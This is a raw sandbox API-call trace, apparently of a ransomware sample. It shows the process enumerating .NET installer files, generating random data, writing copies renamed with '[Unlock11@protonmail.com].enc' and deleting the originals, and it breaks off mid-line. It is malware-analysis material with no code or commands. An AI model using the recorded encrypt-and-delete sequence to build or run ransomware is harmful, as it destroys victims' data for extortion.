[0113.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de508 [0113.214] GetLastError () returned 0x0 [0113.214] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.214] GetFileType (hFile=0x3ac) returned 0x1 [0113.214] GetLastError () returned 0x0 [0113.214] GetCurrentThreadId () returned 0x9b0 [0113.214] GetLastError () returned 0x0 [0113.214] GetFileType (hFile=0x3ac) returned 0x1 [0113.214] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.214] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.215] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.215] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.215] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.215] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.215] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.215] GetLastError () returned 0x0 [0113.215] GetCurrentThreadId () returned 0x9b0 [0113.215] GetLastError () returned 0x0 [0113.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0113.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0113.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0113.215] GetLastError () returned 0x0 [0113.216] GetLastError () returned 0x0 [0113.216] GetCurrentThreadId () returned 0x9b0 [0113.216] GetLastError () returned 0x0 [0113.216] GetCurrentThreadId () returned 0x9b0 [0113.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0113.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.216] GetLastError () returned 0x0 [0113.216] GetLastError () returned 0x0 [0113.216] GetCurrentThreadId () returned 0x9b0 [0113.216] GetLastError () returned 0x0 [0113.216] GetLastError () returned 0x0 [0113.218] GetLastError () returned 0x0 [0113.218] GetCurrentThreadId () returned 0x9b0 [0113.219] GetLastError () returned 0x0 [0113.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.219] GetLastError () returned 0x0 [0113.219] GetLastError () returned 0x0 [0113.219] GetLastError () returned 0x0 [0113.219] GetLastError () returned 0x0 [0113.219] GetCurrentThreadId () returned 0x9b0 [0113.220] GetLastError () returned 0x0 [0113.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0113.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.220] GetLastError () returned 0x0 [0113.222] GetLastError () returned 0x0 [0113.222] GetCurrentThreadId () returned 0x9b0 [0113.222] GetLastError () returned 0x0 [0113.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.222] GetLastError () returned 0x0 [0113.222] GetLastError () returned 0x0 [0113.223] GetCurrentThreadId () returned 0x9b0 [0113.223] GetLastError () returned 0x0 [0113.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.223] GetCurrentThreadId () returned 0x9b0 [0113.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de608 [0113.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.224] GetLastError () returned 0x0 [0113.224] GetLastError () returned 0x0 [0113.224] GetLastError () returned 0x0 [0113.224] GetLastError () returned 0x0 [0113.224] GetCurrentThreadId () returned 0x9b0 [0113.224] GetLastError () returned 0x0 [0113.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0113.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0113.225] GetLastError () returned 0x0 [0113.225] GetLastError () returned 0x0 [0113.226] GetCurrentThreadId () returned 0x9b0 [0113.226] GetLastError () returned 0x0 [0113.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.226] GetLastError () returned 0x0 [0113.226] GetLastError () returned 0x0 [0113.228] GetCurrentThreadId () returned 0x9b0 [0113.228] GetLastError () returned 0x0 [0113.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.228] GetCurrentThreadId () returned 0x9b0 [0113.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de618 [0113.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.228] GetLastError () returned 0x0 [0113.228] GetLastError () returned 0x0 [0113.229] GetLastError () returned 0x0 [0113.229] GetLastError () returned 0x0 [0113.229] GetCurrentThreadId () returned 0x9b0 [0113.229] GetLastError () returned 0x0 [0113.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.229] GetLastError () returned 0x0 [0113.230] GetLastError () returned 0x0 [0113.230] GetCurrentThreadId () returned 0x9b0 [0113.230] GetLastError () returned 0x0 [0113.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.231] GetLastError () returned 0x0 [0113.231] GetLastError () returned 0x0 [0113.232] GetCurrentThreadId () returned 0x9b0 [0113.232] GetLastError () returned 0x0 [0113.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0113.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.232] GetCurrentThreadId () returned 0x9b0 [0113.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.232] GetLastError () returned 0x0 [0113.233] GetLastError () returned 0x0 [0113.233] GetLastError () returned 0x0 [0113.233] GetLastError () returned 0x0 [0113.233] GetCurrentThreadId () returned 0x9b0 [0113.234] GetCurrentThreadId () returned 0x9b0 [0113.234] GetCurrentThreadId () returned 0x9b0 [0113.235] GetCurrentThreadId () returned 0x9b0 [0113.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.236] GetCurrentThreadId () returned 0x9b0 [0113.238] GetCurrentThreadId () returned 0x9b0 [0113.238] GetCurrentThreadId () returned 0x9b0 [0113.239] GetCurrentThreadId () returned 0x9b0 [0113.239] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.239] GetCurrentThreadId () returned 0x9b0 [0113.240] GetCurrentThreadId () returned 0x9b0 [0113.240] GetCurrentThreadId () returned 0x9b0 [0113.240] GetCurrentThreadId () returned 0x9b0 [0113.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.241] GetCurrentThreadId () returned 0x9b0 [0113.242] GetCurrentThreadId () returned 0x9b0 [0113.242] GetCurrentThreadId () returned 0x9b0 [0113.243] GetCurrentThreadId () returned 0x9b0 [0113.244] GetCurrentThreadId () returned 0x9b0 [0113.245] GetCurrentThreadId () returned 0x9b0 [0113.245] GetCurrentThreadId () returned 0x9b0 [0113.245] GetCurrentThreadId () returned 0x9b0 [0113.245] GetCurrentThreadId () returned 0x9b0 [0113.247] GetCurrentThreadId () returned 0x9b0 [0113.247] GetCurrentThreadId () returned 0x9b0 [0113.248] GetCurrentThreadId () returned 0x9b0 [0113.248] GetCurrentThreadId () returned 0x9b0 [0113.249] GetCurrentThreadId () returned 0x9b0 [0113.249] GetCurrentThreadId () returned 0x9b0 [0113.249] GetCurrentThreadId () returned 0x9b0 [0113.250] GetCurrentThreadId () returned 0x9b0 [0113.250] GetCurrentThreadId () returned 0x9b0 [0113.252] GetCurrentThreadId () returned 0x9b0 [0113.252] GetCurrentThreadId () returned 0x9b0 [0113.252] GetCurrentThreadId () returned 0x9b0 [0113.253] GetCurrentThreadId () returned 0x9b0 [0113.253] GetCurrentThreadId () returned 0x9b0 [0113.254] GetCurrentThreadId () returned 0x9b0 [0113.254] GetCurrentThreadId () returned 0x9b0 [0113.255] GetCurrentThreadId () returned 0x9b0 [0113.256] GetCurrentThreadId () returned 0x9b0 [0113.256] GetCurrentThreadId () returned 0x9b0 [0113.256] GetCurrentThreadId () returned 0x9b0 [0113.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0113.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0113.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.258] GetCurrentThreadId () returned 0x9b0 [0113.258] GetCurrentThreadId () returned 0x9b0 [0113.258] GetCurrentThreadId () returned 0x9b0 [0113.259] GetCurrentThreadId () returned 0x9b0 [0113.259] GetCurrentThreadId () returned 0x9b0 [0113.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.259] GetCurrentThreadId () returned 0x9b0 [0113.260] GetCurrentThreadId () returned 0x9b0 [0113.261] GetCurrentThreadId () returned 0x9b0 [0113.269] GetCurrentThreadId () returned 0x9b0 [0113.269] GetCurrentThreadId () returned 0x9b0 [0113.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0113.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de578 | out: hHeap=0x2ad0000) returned 1 [0113.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.270] GetCurrentThreadId () returned 0x9b0 [0113.275] GetCurrentThreadId () returned 0x9b0 [0113.275] GetCurrentThreadId () returned 0x9b0 [0113.275] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xc015) returned 0x36f8548 [0113.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de578 [0113.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.276] GetCurrentThreadId () returned 0x9b0 [0113.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xc018) returned 0x35b89d8 [0113.276] GetCurrentThreadId () returned 0x9b0 [0113.277] GetCurrentThreadId () returned 0x9b0 [0113.277] GetCurrentThreadId () returned 0x9b0 [0113.278] CloseHandle (hObject=0x3ac) returned 1 [0113.278] GetCurrentThreadId () returned 0x9b0 [0113.278] CloseHandle (hObject=0x39c) returned 1 [0113.278] GetCurrentThreadId () returned 0x9b0 [0113.278] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0113.280] GetCurrentThreadId () returned 0x9b0 [0113.280] GetCurrentThreadId () returned 0x9b0 [0113.281] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended.mzz", lpFilePart=0x9bada4*="netfx_Extended.mzz") returned 0x28 [0113.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0113.281] GetCurrentThreadId () returned 0x9b0 [0113.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0113.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0113.282] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpFilePart=0x9bada4*="netfx_Extended_x64.msi") returned 0x2c [0113.282] GetCurrentThreadId () returned 0x9b0 [0113.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0113.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0113.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0113.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.282] GetCurrentThreadId () returned 0x9b0 [0113.283] GetCurrentThreadId () returned 0x9b0 [0113.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc00 [0113.283] GetCurrentThreadId () returned 0x9b0 [0113.283] GetCurrentThreadId () returned 0x9b0 [0113.283] GetCurrentThreadId () returned 0x9b0 [0113.283] GetCurrentThreadId () returned 0x9b0 [0113.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aaa8 [0113.284] GetCurrentThreadId () returned 0x9b0 [0113.284] GetCurrentThreadId () returned 0x9b0 [0113.284] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000)) returned 1 [0113.284] GetCurrentThreadId () returned 0x9b0 [0113.284] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0113.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0113.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0113.285] GetCurrentThreadId () returned 0x9b0 [0113.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd18 [0113.285] GetCurrentThreadId () returned 0x9b0 [0113.285] GetCurrentThreadId () returned 0x9b0 [0113.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf48 [0113.285] GetCurrentThreadId () returned 0x9b0 [0113.286] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.286] GetFileType (hFile=0x39c) returned 0x1 [0113.286] GetCurrentThreadId () returned 0x9b0 [0113.286] GetFileType (hFile=0x39c) returned 0x1 [0113.286] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.286] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.286] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.286] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.287] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.287] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.287] GetLastError () returned 0x0 [0113.287] GetCurrentThreadId () returned 0x9b0 [0113.287] GetLastError () returned 0x0 [0113.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.287] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.287] GetLastError () returned 0x0 [0113.287] GetLastError () returned 0x0 [0113.287] GetLastError () returned 0x0 [0113.288] GetLastError () returned 0x0 [0113.288] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.288] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de608 [0113.288] GetLastError () returned 0x0 [0113.288] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.289] GetFileType (hFile=0x3ac) returned 0x1 [0113.289] GetLastError () returned 0x0 [0113.289] GetCurrentThreadId () returned 0x9b0 [0113.289] GetLastError () returned 0x0 [0113.289] GetFileType (hFile=0x3ac) returned 0x1 [0113.289] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.289] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.289] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.289] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.290] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.290] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.290] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.290] GetLastError () returned 0x0 [0113.290] GetCurrentThreadId () returned 0x9b0 [0113.290] GetLastError () returned 0x0 [0113.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0113.290] GetCurrentThreadId () returned 0x9b0 [0113.290] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0113.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0113.291] GetLastError () returned 0x0 [0113.291] GetLastError () returned 0x0 [0113.291] GetCurrentThreadId () returned 0x9b0 [0113.291] GetLastError () returned 0x0 [0113.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0113.291] GetLastError () returned 0x0 [0113.291] GetLastError () returned 0x0 [0113.292] GetCurrentThreadId () returned 0x9b0 [0113.292] GetLastError () returned 0x0 [0113.292] GetLastError () returned 0x0 [0113.294] GetLastError () returned 0x0 [0113.295] GetCurrentThreadId () returned 0x9b0 [0113.295] GetLastError () returned 0x0 [0113.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.295] GetLastError () returned 0x0 [0113.296] GetLastError () returned 0x0 [0113.296] GetLastError () returned 0x0 [0113.296] GetLastError () returned 0x0 [0113.296] GetCurrentThreadId () returned 0x9b0 [0113.296] GetLastError () returned 0x0 [0113.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0113.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.297] GetLastError () returned 0x0 [0113.299] GetLastError () returned 0x0 [0113.299] GetCurrentThreadId () returned 0x9b0 [0113.299] GetLastError () returned 0x0 [0113.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.299] GetCurrentThreadId () returned 0x9b0 [0113.299] GetLastError () returned 0x0 [0113.300] GetLastError () returned 0x0 [0113.301] GetCurrentThreadId () returned 0x9b0 [0113.301] GetLastError () returned 0x0 [0113.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.301] GetLastError () returned 0x0 [0113.302] GetLastError () returned 0x0 [0113.302] GetLastError () returned 0x0 [0113.302] GetLastError () returned 0x0 [0113.302] GetCurrentThreadId () returned 0x9b0 [0113.302] GetLastError () returned 0x0 [0113.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.303] GetLastError () returned 0x0 [0113.304] GetLastError () returned 0x0 [0113.304] GetCurrentThreadId () returned 0x9b0 [0113.304] GetLastError () returned 0x0 [0113.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.304] GetLastError () returned 0x0 [0113.305] GetLastError () returned 0x0 [0113.306] GetCurrentThreadId () returned 0x9b0 [0113.306] GetLastError () returned 0x0 [0113.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.307] GetCurrentThreadId () returned 0x9b0 [0113.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.307] GetLastError () returned 0x0 [0113.307] GetLastError () returned 0x0 [0113.307] GetLastError () returned 0x0 [0113.308] GetLastError () returned 0x0 [0113.308] GetCurrentThreadId () returned 0x9b0 [0113.308] GetLastError () returned 0x0 [0113.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.308] GetLastError () returned 0x0 [0113.309] GetLastError () returned 0x0 [0113.310] GetCurrentThreadId () returned 0x9b0 [0113.310] GetLastError () returned 0x0 [0113.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.310] GetLastError () returned 0x0 [0113.310] GetLastError () returned 0x0 [0113.311] GetCurrentThreadId () returned 0x9b0 [0113.311] GetLastError () returned 0x0 [0113.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.312] GetCurrentThreadId () returned 0x9b0 [0113.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.312] GetLastError () returned 0x0 [0113.312] GetLastError () returned 0x0 [0113.312] GetLastError () returned 0x0 [0113.312] GetLastError () returned 0x0 [0113.312] GetCurrentThreadId () returned 0x9b0 [0113.312] GetLastError () returned 0x0 [0113.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.313] GetLastError () returned 0x0 [0113.314] GetLastError () returned 0x0 [0113.314] GetCurrentThreadId () returned 0x9b0 [0113.314] GetLastError () returned 0x0 [0113.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: 